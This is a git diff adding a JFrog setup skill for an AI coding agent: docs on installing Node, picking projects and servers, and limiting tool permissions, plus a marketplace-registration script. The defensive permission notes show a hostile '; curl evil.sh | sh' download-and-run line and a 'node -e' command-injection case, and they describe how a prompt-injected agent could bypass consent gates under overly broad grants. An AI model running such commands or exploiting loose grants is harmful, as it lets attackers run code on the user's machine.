description of what the tool + output actually showed (e.g. "isn't installed", "`v16.4.0` is too old + (need ≥ 18)", "is installed but npx is missing"). +- **Yes**: "Install Node.js now. Adds a line to your shell startup file so future terminals can find it." +- **No**: "Cancel /jfrog-init." + +**Do not** mention any install method (nvm, winget), a version manager +name, or any URL — not in the question, not in an option description. +The user only needs to answer Yes or No. + +On **No** (or an out-of-band "Other" answer), stop the walk and tell +the user `/jfrog-init` cannot continue without Node ≥ 18. + +## On Yes: no script — run these commands directly + +**Node missing entirely means no `.mjs` script can run to install it** +(same chicken-and-egg reason Step 1 has no detector script at all — see +`SKILL.md`). The install itself is a bash/PowerShell command run +directly via the Bash tool, exactly like Step 1's own `node --version` +check, with the same `; true` treatment described in +`script-invocation.md`. + +First, determine the platform: + +```bash +uname -s 2>/dev/null || echo Windows_NT +``` + +**macOS / Linux** (anything other than a Windows-shaped result) — install +a pinned `nvm` release, then install the current Node LTS. The version +below is pinned rather than resolved from `api.github.com/.../latest` — +that endpoint is unauthenticated and rate-limited to 60 requests/hour per +IP, so it routinely 403s behind a corporate NAT; when it fails silently +(redirected to `/dev/null`), the tag resolves to an empty string, the +install-script URL collapses to `nvm-sh/nvm//install.sh`, and without +`-f` that 404 body would get piped straight into `bash`. Bump +`NVM_TAG` here when nvm ships a new release: + +```bash +NVM_TAG=v0.40.6 && \ +curl -fsSL "https://raw.githubusercontent.com/nvm-sh/nvm/${NVM_TAG}/install.sh" | bash && \ +export NVM_DIR="$HOME/.nvm" && [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" && \ +nvm install --lts && node --version && npx --version +``` + +**Windows** — install via `winget` (ships by default on Windows 10 +1709+ / Windows 11): + +```powershell +winget install -e --id OpenJS.NodeJS.LTS --accept-package-agreements --accept-source-agreements +``` + +`winget`'s PATH update isn't visible to the current shell. On success, +tell the user to open a new terminal and re-run `/jfrog-init` — do not +try to re-verify `node --version` in the same session on Windows. + +## Fallback + +Any failure on macOS/Linux (no `curl`, network error, the `nvm` +install script itself failing, or the final `node --version` still not +resolving) — or `winget` missing/failing on Windows — falls back to +today's plain message: tell the user to install Node.js ≥ 18 using +whichever method they prefer, then re-run `/jfrog-init`. Do not retry +automatically and do not try a second install method. diff --git a/skills/jfrog-init/references/project-matching.md b/skills/jfrog-init/references/project-matching.md new file mode 100644 index 0000000..6d2a184 --- /dev/null +++ b/skills/jfrog-init/references/project-matching.md @@ -0,0 +1,40 @@ +# Step 6 — project name-or-key resolution algorithm + +Background for Step 6 of `/jfrog-init` (`SKILL.md`). The model doesn't +perform this matching itself — `jfrog-detect-project.mjs` does — but +this explains how a typed name-or-key resolves to a canonical project +key, for debugging an unexpected ambiguous-match or no-match result. + +`jfrog-detect-project.mjs` resolves the input by: + +1. Enumerating accessible projects via `GET /access/api/v1/projects` + (GetProjectsList: + — `fetch` with the token from `jf config export`; the endpoint lives + on the Access service, off the Artifactory root, so `jf rt curl` + cannot reach it; `jf api` is a possible future refactor). Cached per + server for a few minutes (`scripts/lib/project-cache.mjs`) so + re-invoking the detector for each user attempt in the picker doesn't + re-hit the network every time — matching against the list is offline + regardless. +2. Matching the input against `project_key` and `display_name` + (`scripts/lib/projects.mjs`), strictest tier first — each tier only + runs if the previous one had zero matches: + - Exact key (case-insensitive) wins first. + - Exact display-name (case-insensitive) wins next. + - Exact match after stripping every non-alphanumeric character + (`_`, `-`, spaces, ...) from both sides wins next — so `aicatalog` + resolves against key `ai_catalog` / name `ai catalog` without the + separator mattering. This is a fixed internal canonicalization, + never a pattern compiled from user input. + - Unique case-insensitive substring across keys+names wins next. + - Unique substring after the same separator-stripping wins last — + catches partial input that spans a separator, e.g. `aicat` + against `ai_catalog`. + - If more than one project matches at whichever tier first has any + hits, the detector exits red with `candidates` listing the tied + keys, and the model asks the user to be more specific. +3. Once resolved to a canonical key, existence is confirmed via + `GET /access/api/v1/projects/`. + +The detector emits the canonical key on green in the JSON `resolvedKey` +field so the state-file writer can use it. diff --git a/skills/jfrog-init/references/project-picker.md b/skills/jfrog-init/references/project-picker.md new file mode 100644 index 0000000..9988505 --- /dev/null +++ b/skills/jfrog-init/references/project-picker.md @@ -0,0 +1,118 @@ +# Step 6 — picking a project interactively + +**This is not optional background reading — it's part of Step 6's +required behavior.** Read this in full before handling any Step 6 +result other than a clean green on the first try (no input needed, or +the typed input needs a picker). Use the exact `AskUserQuestion` +payload shapes below; do not paraphrase or invent your own wording. + +**Everything below — `unresolved`, `candidatesWithNames`, +`similarProjects`, and which bullet you land on — is reasoning for you +to follow silently, never to narrate.** The user never sees why a +particular branch was taken, only the resulting prompt (the +`AskUserQuestion` payload or the plain-text fallback line). + +**Check `unresolved` before anything below.** If the JSON has +`"unresolved": "server"`, this is NOT a project ask — the server-id +itself is ambiguous (multiple jf servers configured, none marked +`isDefault`). This can happen even when re-invoking Step 6 on its own +(e.g. a later "switch project" request), not just on a fresh full +walk. Do not fall through to the project picker below; instead **stop +and read `references/server-picker.md` in full** for the exact +`AskUserQuestion` payload, then re-invoke Step 6 with the picked +server-id as arg 1 (project input, if any, stays arg 2). + +Whenever the detector needs the user to choose — no input was passed, +the typed input didn't match anything (404), or it matched more than +one project (ambiguous) — it emits `candidatesWithNames` (the full +enumerated list, `{key, displayName}`, sorted by key) alongside the +red/ask result, as long as enumeration succeeded. Use it to drive an +`AskUserQuestion` picker instead of asking the user to type a key or +name from memory. A confirmed 404 additionally carries +`similarProjects` — up to 2 "did you mean...?" near-misses of the +typed input (see `scripts/lib/projects.mjs`) — which take priority +over the generic first-two when present: + +- **404 with `similarProjects` present** → the typed input was close + to one or two real projects (e.g. typed `widgets20`, JPD has + `widgets2`/`widgets`). Call `AskUserQuestion`, naming what was typed and + offering the suggestions plus "Other": + + ```json + { + "questions": [ + { + "question": "There's no project \"\" — did you mean one of these?", + "header": "Project", + "multiSelect": false, + "options": [ + {"label": "", "description": "Project key: "}, + {"label": "", "description": "Project key: "} + ] + } + ] + } + ``` + + If `similarProjects` has only 1 entry, use it as option 1 and fill + option 2 from the first entry of `candidatesWithNames` that isn't + already used (`AskUserQuestion` requires 2 options minimum). If no + such second entry exists (the JPD has exactly this one project), skip + `AskUserQuestion` entirely and use the plain-text fallback below + instead. On picking a suggestion → re-invoke the detector with that + project's **key** as arg 2. On **Other** → the user types a + different name-or-key; re-invoke with their typed value as arg 2. + +- **Otherwise, if `candidatesWithNames` has 2 or more entries** — no + input was passed, the input was ambiguous, or it was a 404 with no + close-enough `similarProjects` — call `AskUserQuestion` with the + **first two** entries of `candidatesWithNames` (in the order the + detector returned them — never reordered, never chosen by matching + the user's name, git identity, hostname, or any other signal) as the + two options, and rely on the tool's built-in "Other" for typing a + different project: + + ```json + { + "questions": [ + { + "question": "Which project do you want to use?", + "header": "Project", + "multiSelect": false, + "options": [ + {"label": "", "description": "Project key: "}, + {"label": "", "description": "Project key: "} + ] + } + ] + } + ``` + + On picking option 1 or 2 → re-invoke the detector with that + project's **key** as arg 2. On **Other** → the user types a + name-or-key; re-invoke the detector with their typed value as arg 2. + +- **If `candidatesWithNames` has fewer than 2 entries** (enumeration + unavailable, or the JPD genuinely has 0–1 projects) → fall back to a + single plain-text line, no `AskUserQuestion`: + + > *Which project do you want to use?* + + Nothing before, nothing after. Do NOT append any hint about the + accepted input format (no *"(name or key)"*, no *"you can type a key + or name"*, no *"either the display name or key works"*). + +- **Never surface the full candidate list or a count** to the user in + any case — the picker's two options (plus "Other") or the plain-text + fallback are the entire user-facing surface. + +Once the user picks or types a value, re-invoke the detector with it +as arg 2: + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-project.mjs" "" ""; rc=$?; true +``` + +**Do NOT** `export JF_PROJECT=…`. The only state write is the one +SKILL.md's Final summary mandates (`jfrog-state-file.mjs set`), or +`jfrog-detect-all.mjs`'s own write when running the batch walk. diff --git a/skills/jfrog-init/references/project-resolution-branches.md b/skills/jfrog-init/references/project-resolution-branches.md new file mode 100644 index 0000000..4e4d1d3 --- /dev/null +++ b/skills/jfrog-init/references/project-resolution-branches.md @@ -0,0 +1,56 @@ +# Step 6 — resolve/validate branches + +**Required behavior for Step 6, not optional background.** Read this in +full whenever `jfrog-detect-project.mjs` returns anything other than a +clean exit 0. + +- **Exit 2 (`ask`) with `"unresolved": "server"`** → not a project ask + — the server-id is ambiguous. Follow "Resolving `` for + Steps 4-7" in `SKILL.md` (prompt for a server from `candidates`), then + re-invoke Step 6 with the picked server-id as arg 1. +- **No input passed (`ask`, exit 2, no `unresolved`)** → use the + picker/free-form ask from `references/project-picker.md`, then + re-invoke with the picked value as arg 2. +- **Input passed (resolve + validate)** → + - **Exit 0 (green)** → project exists and is accessible; the + canonical key is in the JSON `resolvedKey` field. Proceed to + Step 7 (`jfrog-detect-catalog-runtime.mjs [server-id]`), which + takes no project argument — the input string only needs to be + kept around as arg 2 to `jfrog-detect-all.mjs` itself, so a + re-run re-resolves Step 6 the same way. + - **Exit 1 (red)** → ambiguous input, 404, or 403 — **cap re-asks at + one retry within a single walk.** The first time any of these + three happens, re-run the picker/free-form ask (`project-picker.md`); + if the user's second attempt *also* comes back ambiguous/404/403, + stop asking — proceed to Step 7 without a resolved project + (non-blocking, same pattern as Step 5), and note it in the Final + Summary instead of asking a third time. Never loop indefinitely on + a silently-automatic retry the user didn't explicitly choose to + continue (unlike Step 3's config picker, which loops on an + explicit "did you finish?" the user opts into each time). + - Ambiguous input → `candidates` lists the tied keys; re-run the + picker/free-form ask (using the full `candidatesWithNames`, not + just the tied subset). + - HTTP 404 → project does not exist on this JPD; re-run the + picker/free-form ask. + - HTTP 403 → project exists but the user isn't entitled to this + **specific** one — JFrog project ACLs are per-project, so this + says nothing about any other project. Show the raw error, then + re-run the picker/free-form ask (using `candidatesWithNames`, + same as the 404 case) so the user can pick a different project + instead of dead-ending; mention they can also ask their JFrog + admin for access to the one they tried. + - HTTP 5xx, or the probe could not connect at all → the JPD is + erroring or unreachable right now. Re-picking won't help, so show + the raw error and move on rather than re-running the picker; the + Final Summary reports it via `projectResolved: false`. (Grouped + with the retryable reds rather than with Exit 3 because it is a + transient backend/network condition, not a broken setup — the + same reason `jfrog-detect-catalog-runtime.mjs` calls its own + "can't connect" red.) + - **Exit 3 (error)** → `jf` missing, credentials unavailable/rejected + (including HTTP 401 — this says nothing about whether the project + exists), a 2xx response that wasn't shaped like the real GetProject + endpoint, or an unexpected HTTP code. Show the raw detector error — + this one is a genuine stop, not subject to the retry cap above (no + re-pick can fix bad credentials). diff --git a/skills/jfrog-init/references/project-state-reuse.md b/skills/jfrog-init/references/project-state-reuse.md new file mode 100644 index 0000000..6d18576 --- /dev/null +++ b/skills/jfrog-init/references/project-state-reuse.md @@ -0,0 +1,51 @@ +# Step 6 — state reuse across walks + +**Required behavior at the start of Step 6, not optional background.** +After a successful walk, `jfrog-detect-all.mjs` writes a hint to +`~/.jfrog/setup.json` containing the resolved JFrog server ID, JPD URL, +and canonical project key (as `currentActiveProject` — no timestamp is +stored; it's a pointer to what's active now, not a usage log). On +subsequent walks, before asking the user for a project, the model MUST: + +1. Read the state file for the current server ID via + `node "${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" get-current-project ` + — stdout is JSON `{"currentActiveProject": "...", "jpdUrl": "..."}` + (fields omitted if there's no record for this server-id). +2. If `currentActiveProject` is present AND its `jpdUrl` matches the + URL `jf config show --format=json` reports for this same server-id + today — after stripping any trailing `/artifactory` or `/ui` suffix + and trailing slash from that freshly-read URL, the same + normalization already applied to the stored `jpdUrl` — call + `AskUserQuestion` with this exact payload shape (substituting the + real key for ``). A raw, un-normalized comparison will treat + the server as "repointed" and skip the reuse prompt on every walk + for any JPD whose config URL carries one of those suffixes: + + ```json + { + "questions": [ + { + "question": "Reuse project from your last setup?", + "header": "Project", + "multiSelect": false, + "options": [ + {"label": "Yes", "description": "Use again."}, + {"label": "No", "description": "Pick a different project."} + ] + } + ] + } + ``` + +3. On **Yes** → re-invoke the detector with `` as + arg 2. On **No** → fall through to the picker/free-form ask (see + `project-picker.md`). +4. If the state file has no entry for this server (or the JPD URL + drifted), skip the reuse prompt entirely and go straight to the + picker/free-form ask. + +The state file only stores public identifiers — never a token, +password, session, or any other secret, and never a timestamp. Whenever +Steps 1-4 pass, the Final summary's `jfrog-state-file.mjs set` (or +`jfrog-detect-all.mjs` in the batch walk) updates it atomically (temp +file + rename). diff --git a/skills/jfrog-init/references/script-invocation.md b/skills/jfrog-init/references/script-invocation.md new file mode 100644 index 0000000..e6595d4 --- /dev/null +++ b/skills/jfrog-init/references/script-invocation.md @@ -0,0 +1,208 @@ +# Invoking scripts: avoid the red "Error" framing + +Every `node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-*.mjs"` command shown anywhere +in `SKILL.md` signals red/ask states via a non-zero exit code, by +design. When run directly, the harness renders that as a red `Error: +Exit code N` block — an expected red/ask result looking identical to a +genuine tool failure. Since this skill's own reasoning depends on the +exit code (0/1/2/3 map to green/red/ask/error), don't discard it — +just stop it from also flipping the *shell's* final status, so the +harness doesn't flag it: + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-cli.mjs"; rc=$?; true +``` + +**Capture `rc` — a bare `; true` is not enough for any detector.** Every +Step's branch table in `SKILL.md` is written in terms of the exit code +(`Exit 0 (green)`, `Exit 2 (ask)`, …), and `; true` on its own *discards* +that code: `true` becomes the last command, so `$?` is 0 no matter what +the detector reported, and every red/ask result silently reads as green. +`rc=$?` runs before the trailing `true`, so it records the detector's +real code while still leaving the shell's final status at 0. Read `$rc` +for the branch table and the JSON on stdout for the detail. + +The only commands that may use a bare `; true` are the ones nothing +branches on by exit code — Step 1's `node --version` / `npx --version` +(read the printed version instead) and +`jfrog-reinstall-jfrog-plugin.mjs` (always exits 0). + +This is a wording-level mitigation, not a full fix — the command and +its JSON preview may still be visible in the collapsed tool-call line +— but it removes the alarming error styling at no extra cost. + +Step 1 has no script, but the same trick applies to its bare commands +for the same reason — `node --version` and `npx --version` both exit +non-zero if the binary is missing: + +```bash +node --version; true +npx --version; true +``` + +## What's deliberately not pre-approved + +`allowed-tools` in `SKILL.md` covers `node --version`, the six read-only +detectors named individually — `node +"${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-catalog-runtime.mjs"`, +`jfrog-detect-jf-cli.mjs`, `jfrog-detect-jf-config.mjs`, +`jfrog-detect-jfrog-mcp.mjs`, `jfrog-detect-project.mjs`, and +`jfrog-detect-server-ping.mjs` — and `node +"${CLAUDE_SKILL_DIR}/scripts/jfrog-re*.mjs"` (the purely diagnostic +`jfrog-reinstall-jfrog-plugin.mjs` and the two `jfrog-resolve-*.mjs` +lookups), `node +"${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" get`/`get-current-project`/`path` +(the read-only modes only), `npx --version`, and `uname`. It does +**not** cover: + +- Step 1's `nvm` install (`curl … | bash`, see `node-install-prompt.md`) +- Step 1's Windows Node install (`winget install …`, see + `node-install-prompt.md`) +- Step 1's `jfrog-install-jf-cli.mjs` (downloads/executes a binary and + edits shell rc files — see `jf-cli-install-prompt.md`) +- Step 3's web-login scripts (`node …/jfrog-login-*.mjs`, see + `jf-config-auth-picker.md`) +- `jfrog-detect-all.mjs` (the "run everything at once" entry point — see + `batch-walk.md`). This is **not** a member of the `jfrog-detect-*.mjs` + grant despite the name: an earlier version of this grant used that exact + wildcard and pre-approved `jfrog-detect-all.mjs` along with it, silently + contradicting the "read-only detectors" framing above — `jfrog-detect-all.mjs` + itself writes `~/.jfrog/setup.json` on overall green (see the Final + summary in `SKILL.md`), the same mutation `jfrog-state-file.mjs set` + is excluded below for. PR review caught this; the fix was to enumerate + the six read-only detectors by exact filename instead of a wildcard, + which also closes a path-traversal-shaped concern with the wildcard + form (`jfrog-detect-*.mjs` has no anchor stopping `*` from matching + path separators, unlike an exact filename). +- `jfrog-substitute-mcp-placeholders.mjs` (the one script that edits the + plugin's `mcp.json` in place — see `mcp-plugin-config.md`). **Unlike + every other entry in this list, this exclusion is theoretical, not + operative**: `SKILL.md` never invokes this script as a standalone + `node "${CLAUDE_SKILL_DIR}/scripts/jfrog-substitute-mcp-placeholders.mjs"` + Bash command, so its absence from `allowed-tools` never actually + gates anything. Its only real call site is the in-process import in + `jfrog-detect-jfrog-mcp.mjs` (itself one of the six explicitly-named + detectors above) — the harness's permission system approves Bash + commands, not the function calls a pre-approved script makes once + running, so the mutation executes with no prompt whenever Step 5 finds + a placeholder. This is intentional, not an oversight: the write is + narrowly scoped to the jfrog entry's `url` field, atomic (temp file + rename), + and idempotent — see `mcp-plugin-config.md` for why that scope was + judged safe to run unattended, unlike the two mutations below. +- `jfrog-state-file.mjs`'s **`set`** mode (writes `~/.jfrog/setup.json` + with caller-supplied server-id/URL/project-key — see the Final summary + in `SKILL.md`) +- `jfrog-add-claude-marketplace.mjs` (Step 8 — rewrites `~/.netrc` and + calls `claude plugin marketplace add`, mutating Claude Code's own + marketplace config — see `marketplace-setup.md`). **Unlike the other + entries in this list, this one has no prior `AskUserQuestion` consent + step** — the harness's own approval prompt is the only gate before it + runs (the harness-detection check in front of it is a skip/routing + check, not a consent prompt). Treat that as a known gap worth + revisiting, not as already covered by the "Approval model" list at + the top of `SKILL.md`. + +Granting `Bash(curl:*)` / `Bash(bash:*)` / `Bash(winget:*)` for the +first four would pre-approve arbitrary shell execution, arbitrary +network transfer, or (via `winget install`'s own flags, e.g. +`--override`, which passes raw args straight to the underlying +installer) arbitrary extra installer arguments — a `Bash(...)` wrapper +around an interpreter, or a trailing wildcard on an installer command, +is not a scope. It would also buy nothing: `nvm`/Windows-Node-install +and web-login already sit behind their own `AskUserQuestion` consent +prompt, so the user has agreed before either runs. + +`jfrog-install-jf-cli.mjs`, `jfrog-substitute-mcp-placeholders.mjs`, +`jfrog-state-file.mjs set`, and `jfrog-add-claude-marketplace.mjs` are +excluded for a related but distinct reason: they're the four scripts in +this directory that mutate something outside their own process (a +downloaded binary made executable and run, the plugin's `mcp.json`, the +setup state file, and `~/.netrc` plus Claude Code's own marketplace +config, respectively) rather than just reading state and emitting JSON. +A prior version of this grant covered every `*.mjs` in `scripts/` +indiscriminately — PR review on this same branch pointed out that +pre-approves running any of these without the model (or a +prompt-injected instruction it's following) ever hitting the +`AskUserQuestion` gates their *documented* call sites sit behind; the +grant itself enforced nothing. Naming the read-only scripts individually +and leaving these four to fall through to the harness's own approval +closes that gap — **for `jfrog-install-jf-cli.mjs` and +`jfrog-state-file.mjs set`**, both of which `SKILL.md` only ever runs as +their own standalone Bash command, behind their own `AskUserQuestion` +(see `jf-cli-install-prompt.md` and the Final summary, respectively). +`jfrog-substitute-mcp-placeholders.mjs` is the exception: as noted +above, it has no standalone Bash call site in the documented flow, so +there is no gap for this grant to close for it — its mutation runs +unattended by design, not because this list forgot it. +`jfrog-add-claude-marketplace.mjs` is a different kind of gap: it *does* +have a standalone Bash call site (Step 8 invokes it directly), but +unlike `jfrog-install-jf-cli.mjs` / `jfrog-state-file.mjs set` there is +no `AskUserQuestion` sitting in front of it — the harness's Bash prompt +is the only consent point. That asymmetry is called out, not resolved, +here; see the bullet above. + +`node` is itself an interpreter, the same category being ruled out +above for `curl`/`bash`/`winget` — but unlike those, it isn't ungated by +a fixed string: every real invocation is either the literal `node +--version` (Step 1) or `node "${CLAUDE_SKILL_DIR}/scripts/.mjs"`. +`${CLAUDE_SKILL_DIR}` is a harness-substituted variable, not a +wildcard: Claude Code replaces it with this skill's own absolute +directory in *both* the rendered `SKILL.md` content the model reads and +the `allowed-tools` Bash rules the harness matches against, before +either is used — so the two are guaranteed byte-for-byte identical +regardless of how deep the real install path is +(`~/.agents/skills/jfrog-init`, several directories deeper under a +Cursor plugin cache path, a `dev/dev-symlinks.sh` dev symlink, etc.), +never something the model has to resolve itself. + +That guarantee is also why each pattern below anchors on a literal +`node "${CLAUDE_SKILL_DIR}` immediately, e.g. `Bash(node +"${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-*.mjs"*)`. An earlier version +of this grant anchored on a bare `node /*/skills/jfrog-init/…` glob +instead — a real command-injection gap PR review caught: Claude Code's +own permission docs state a bare `*` matches any sequence of +characters including spaces, so an unanchored `node */skills/…` also +matches `node -e '' /whatever/skills/jfrog-init/scripts/dummy.mjs` +(`node -e` ignores the trailing path and just runs the eval string, but +the *command text* still satisfies the glob). Anchoring on a literal +`/` right after `node ` closed that (`-e` doesn't start with `/`) — but +left a second, quieter gap a later review round caught: every +invocation this file shows quotes the path (`node "/…mjs"`), +while that glob pattern had no quote in it at all, so pattern and real +command text diverged on the very first character after `node ` — +never confirmed as broken because nobody had run the actual quoted +command against the actual unquoted pattern. Anchoring on the literal, +quoted `${CLAUDE_SKILL_DIR}` variable instead of a glob closes both at +once: `node -e` still can't start with a literal `"`, and there's no +glob left to diverge from the real command — the pattern *is* the +command, substituted the same way on both sides. + +A trailing bare `*` after the closing quote (covering each script's +own optional positional args, e.g. `[server-id]`) is safe here for a +different reason than the anchor: Claude Code splits compound commands +on shell operators (`;`, `&&`, `|`, …) and matches each resulting +subcommand independently against the allowlist. An appended `; +curl evil.sh | sh` becomes its *own* subcommand, which has to clear the +allowlist on its own merits — it can't ride through on this rule's +wildcard just because the wildcard is unbounded on the right. + +Claude Code's own docs are still explicit that argument-constraining +Bash patterns are inherently fragile in general and recommend +PreToolUse hooks for anything that needs a hard guarantee — not +available to a skill shipped as a plain directory. Treat this anchor as +a real improvement, not a proof of soundness against every possible +`node` flag combination. And treat it as Claude-Code-specific: Cursor +doesn't consult `allowed-tools` for Bash approval at all (a separate +mechanism, `.cursor/cli.json`'s own `Shell(...)` rules), so every +command in this file still raises its own prompt there regardless of +how this pattern is written. + +So expect the harness to raise its own approval prompt for every case +listed at the top of this section — **except `jfrog-substitute-mcp-placeholders.mjs`**, +whose mutation runs unattended via the in-process call from +`jfrog-detect-jfrog-mcp.mjs` as documented above. Both outcomes are +intended. Do not treat either as a misconfiguration, and do not suggest +widening `allowed-tools` to silence the prompts, or adding a standalone +`allowed-tools` entry for the substituter to "fix" its silence — that +would just pre-approve a second, redundant call path into the same +mutation. diff --git a/skills/jfrog-init/references/server-picker.md b/skills/jfrog-init/references/server-picker.md new file mode 100644 index 0000000..b5be11b --- /dev/null +++ b/skills/jfrog-init/references/server-picker.md @@ -0,0 +1,48 @@ +# Resolving an ambiguous server-id — the picker + +**Required behavior whenever any detector that takes `[server-id]` +exits `ask` (`status: "ask"`) with a `candidates` list of server IDs +— not optional background.** This is shared, unmodified, across every +step in "Resolving `` for Steps 4-7" in `SKILL.md`: Step 4 +(`jfrog-detect-server-ping.mjs`), Step 5's placeholder substitution +(`jfrog-detect-jfrog-mcp.mjs`), Step 6 (`jfrog-detect-project.mjs`, +distinguished by `"unresolved": "server"` — see +`references/project-picker.md`), and Step 7 +(`jfrog-detect-catalog-runtime.mjs`). All of them resolve a server-id +through the same shared code (`scripts/jfrog-resolve-jf-server.mjs`), +so `candidates` is always the same shape: a plain array of configured +server-id strings, e.g. `["prod", "staging"]`. + +This can only happen when **2 or more** servers are configured with +none marked `isDefault` — ambiguity by definition requires at least +two candidates, so unlike the project picker there is no "fewer than +2" plain-text fallback case here. + +**All of the above — `unresolved`, `candidates`, which step/detector +triggered this — is reasoning for you to follow silently, never to +narrate.** The user never sees why they're being asked, only the +`AskUserQuestion` payload itself. + +Ask the user (see `how-to-ask-user.md` for native tool and fallback +rules) with the **first two** entries of `candidates` (in the order +the detector returned them — never reordered, never chosen by matching +a hostname, git identity, or any other signal) as the two options, and +include a free-text escape hatch for typing a different server-id: + +- **Question**: "Which JFrog server do you want to use?" +- **Option 1**: `` (description: "Server ID: ``") +- **Option 2**: `` (description: "Server ID: ``") +- **Other**: let the user type a different server-id if needed + +**Never surface the full candidate list or a count** to the user in +any case — the picker's two options (plus the free-text escape hatch) +are the entire user-facing surface, same rule as the project picker. + +On picking option 1 or 2, or typing a value via **Other** → re-invoke +**the same detector that emitted the ask** (never a different one) +with the picked/typed server-id as the positional argument that step +expects (see that step's own usage line in `SKILL.md`). Never invent a +server-id, never rely on `jf`'s own default-resolution fallback — the +whole point of asking is that this skill's own resolution order +(explicit arg → `JF_SERVER_ID` → `isDefault` → sole server) already +came up empty. diff --git a/skills/jfrog-init/scripts/jfrog-add-claude-marketplace.mjs b/skills/jfrog-init/scripts/jfrog-add-claude-marketplace.mjs new file mode 100755 index 0000000..aa56bd0 --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-add-claude-marketplace.mjs @@ -0,0 +1,101 @@ +#!/usr/bin/env node +// Registers the JFrog Claude agent-plugin marketplace for the server this walk +// resolved. See references/marketplace-setup.md. +// +// Usage: node jfrog-add-claude-marketplace.mjs [server-id] [project-key] +// Exit 0 -> registered +// Exit 1 -> unusable jf config, or the marketplace call failed +// Exit 3 -> jf missing or not running, or claude missing from PATH + +import { claude, marketplaceAdd } from "./lib/claude.mjs"; +import { moveTokenToHeader } from "./lib/claude-config.mjs"; +import { + describeJfUnavailable, + isMainModule, + JF_CLI_TIMEOUT_MS, + jfAvailable, + jfConfigExportResult, + jfConfigShow, + parseJpdUrl, + tokenUsername, +} from "./lib/jf.mjs"; +import { writeNetrc } from "./lib/netrc.mjs"; +import { resolveJfServer } from "./jfrog-resolve-jf-server.mjs"; + +const MARKETPLACE_PATH = "/ml/core/api/v1/ai-registry/agent-plugins/custom/marketplace/claude-marketplace.json"; +const MARKETPLACE_PREFIXES = ["", "/bridge-client"]; // SaaS first, then self-hosted + +// process.exit() can cut off a piped stdout write. +const fail = (msg, exitCode = 1) => { + throw Object.assign(new Error(msg), { exitCode }); +}; + +function readServerCreds(serverId) { + const { cfg, timedOut } = jfConfigExportResult(serverId); + if (timedOut) { + fail(`ERROR: jf did not respond within ${JF_CLI_TIMEOUT_MS / 1000}s (running: jf config export).`); + } + if (!cfg) { + fail(serverId + ? `ERROR: no jf server '${serverId}' configured.` + : "ERROR: no default jf server. Run 'jf login' or 'jf config use '."); + } + + const jpd = parseJpdUrl(cfg.url || cfg.artifactoryUrl || ""); + if (!jpd) fail("ERROR: could not parse the jf server URL."); + + const token = cfg.accessToken || ""; + const login = cfg.user || (token ? tokenUsername(serverId) : ""); + if (!token || !login) fail(`ERROR: missing access token or username for '${serverId}'. Run 'jf login'.`); + + return { jpd, login, token }; +} + +function marketplaceUrl({ jpd, login, token }, prefix, projectKey) { + const userinfo = `${encodeURIComponent(login)}:${encodeURIComponent(token)}`; + const base = `${jpd.host}${jpd.pathname.replace(/\/+$/, "")}`; + const query = projectKey ? `?projectKey=${encodeURIComponent(projectKey)}` : ""; + return `${jpd.protocol}//${userinfo}@${base}${prefix}${MARKETPLACE_PATH}${query}`; +} + +function redactToken(text, token) { + return text.split(encodeURIComponent(token)).join("***"); +} + +function register(argServerId, projectKey) { + if (!jfAvailable()) fail(`ERROR: ${describeJfUnavailable()}`, 3); + if (!claude.found) fail("ERROR: claude not on PATH.", 3); + + const creds = readServerCreds(resolveJfServer(argServerId, jfConfigShow())); + // libcurl matches a netrc machine by bare hostname. + const wrote = writeNetrc(creds.jpd.hostname, creds.login, creds.token); + if (!wrote.ok) fail(`ERROR: ${wrote.error}`); + + const failures = []; + for (const prefix of MARKETPLACE_PREFIXES) { + const url = marketplaceUrl(creds, prefix, projectKey); + const { ok, out } = marketplaceAdd(url); + if (ok) { + moveTokenToHeader(url); + process.stdout.write(redactToken(out, creds.token)); + return 0; + } + failures.push(out); + } + process.stderr.write(redactToken(failures.join(""), creds.token)); + return 1; +} + +function main(argServerId, projectKey) { + try { + return register(argServerId, projectKey); + } catch (err) { + if (err.exitCode === undefined) throw err; + process.stderr.write(`${err.message}\n`); + return err.exitCode; + } +} + +if (isMainModule(import.meta.url)) { + process.exitCode = main(process.argv[2] || "", process.argv[3] || ""); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-all.mjs b/skills/jfrog-init/scripts/jfrog-detect-all.mjs new file mode 100755 index 0000000..7efdbcd --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-all.mjs @@ -0,0 +1,235 @@ +#!/usr/bin/env node +// Runs the detectors in dependency order and reports one JSON summary line. +// Idempotent, read-only, zero mutation (aside from the state-file hint on +// green) — safe to run repeatedly. +// +// Usage: node jfrog-detect-all.mjs [server-id] [project-input] +// +// `project-input` is a name-or-key string — jfrog-detect-project.mjs resolves it +// to a canonical key against the enumerated project list, then validates. +// +// Order (linear; stop at first non-green, non-"ask"): +// 1. Node.js >= 18 -> inline (running this .mjs file already +// proves Node exists; only the version and `npx` need checking) +// 2. jf CLI installed -> jfrog-detect-jf-cli.mjs +// 3. jf server configured -> jfrog-detect-jf-config.mjs +// 4. server reachable -> jfrog-detect-server-ping.mjs +// 5. jfrog MCP -> jfrog-detect-jfrog-mcp.mjs +// 6. project resolved -> jfrog-detect-project.mjs +// 7. AI Catalog + entitled -> jfrog-detect-catalog-runtime.mjs +// +// Step 6 does NOT read JF_PROJECT and does NOT export anything. The +// picked project input is passed as the 2nd positional argument and +// threaded forward. On green, this script writes a hint to +// ~/.jfrog/setup.json so subsequent walks can offer "reuse the current +// project" — the file only stores public identifiers (server ID, JPD +// URL, canonical project key), never secrets, never a timestamp. +// +// Step 7 going red — exit 1 (catalog not hosted at this JPD / unreachable +// / 5xx) OR exit 4 (reachable but not entitled) — is NON-BLOCKING: Steps +// 1-4 are what "green" means here, and both catalog outcomes +// are reported separately via `catalogEntitled` (and `catalogReason` +// when false) in the final summary line, so a user with no AI Catalog on +// this JPD, or no entitlement to it, still gets a completed, usable +// setup instead of a dead-end red result over a feature this skill's +// core prerequisites (Steps 1-4) don't depend on. +// +// Step 5 (jfrog MCP) going red or erroring is ALSO 